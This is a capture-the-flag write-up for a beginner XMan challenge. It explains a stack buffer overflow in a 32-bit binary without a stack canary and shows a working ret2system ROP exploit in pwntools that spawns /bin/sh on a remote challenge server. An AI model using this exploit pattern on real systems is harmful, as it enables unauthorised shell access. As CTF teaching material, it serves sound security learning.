Challenge
Source: XMan
Description: A beginner asks an expert how to get the flag. The expert tells them, 'Use Return-Oriented Programming (ROP).'
Analysis
ROP.
Solution
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)NX
With the introduction of NX protection, the traditional approach of directly injecting code onto the stack or heap becomes ineffective. Attackers have also developed corresponding methods to bypass this protection, the main one being ROP (Return-Oriented Programming). Its core idea is to use small code snippets (gadgets) already present in the program, based on a stack buffer overflow, to change the values of certain registers or variables, thereby controlling the program's execution flow. So-called gadgets are instruction sequences ending with ret. Through these instruction sequences, we can modify the content of certain addresses to facilitate control over the program's execution flow.
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}vulnerable_function
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 256u);
}-00000088 buf db 136 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)The character array buf has a capacity of 136, but the read function allows writing up to 256 bytes, so there is a stack overflow.
Since this occurs at the return point, we use ROP (Return-Oriented Programming) to construct the payload.
strings
In IDA's strings window, we found the string /bin/sh.
LOAD:08048154 00000013 C /lib/ld-linux.so.2
LOAD:0804822D 0000000A C libc.so.6
LOAD:08048237 0000000F C _IO_stdin_used
LOAD:0804824B 00000007 C system
LOAD:08048252 00000012 C __libc_start_main
LOAD:08048264 0000000F C __gmon_start__
LOAD:08048273 0000000A C GLIBC_2.0
.rodata:08048540 0000000C C echo Input:
.rodata:0804854C 00000014 C echo 'Hello World!'
.eh_frame:080485CB 00000005 C ;*2$\"
.data:0804A024 00000008 C /bin/shsystem
The program contains the system function. Using this function combined with the string found above, we construct the command system('/bin/sh').
int system(const char *command)
{
return system(command);
}+00000000 r db 4 dup(?)
+00000004 command dd ? ; offsetExploit
Payload
payload = b'@'*140 + pack(system_addr) + b'@'*4 + pack(shell_addr)- Use 136 bytes and 4 bytes of data to overwrite the
bufandsof thevulnerable_function. - Write the address of
systeminto therofvulnerable_function. - Use 4 bytes of data to overwrite the
rofsystem. - Write the address of the string "/bin/sh" into the
commandofsystem.
from pwn import *
def exploit():
elf = ELF('./a')
system_addr = elf.symbols['system']
shell_addr = next(elf.search(b'/bin/sh'))
payload = b'@'*140 + pack(system_addr) + b'@'*4 + pack(shell_addr)
r = remote('111.200.241.244', 63854)
r.sendlineafter('Input:', payload)
r.interactive()
r.close()
def main():
exploit()
if __name__ == '__main__':
main()Summary
This challenge practices writing basic ROP.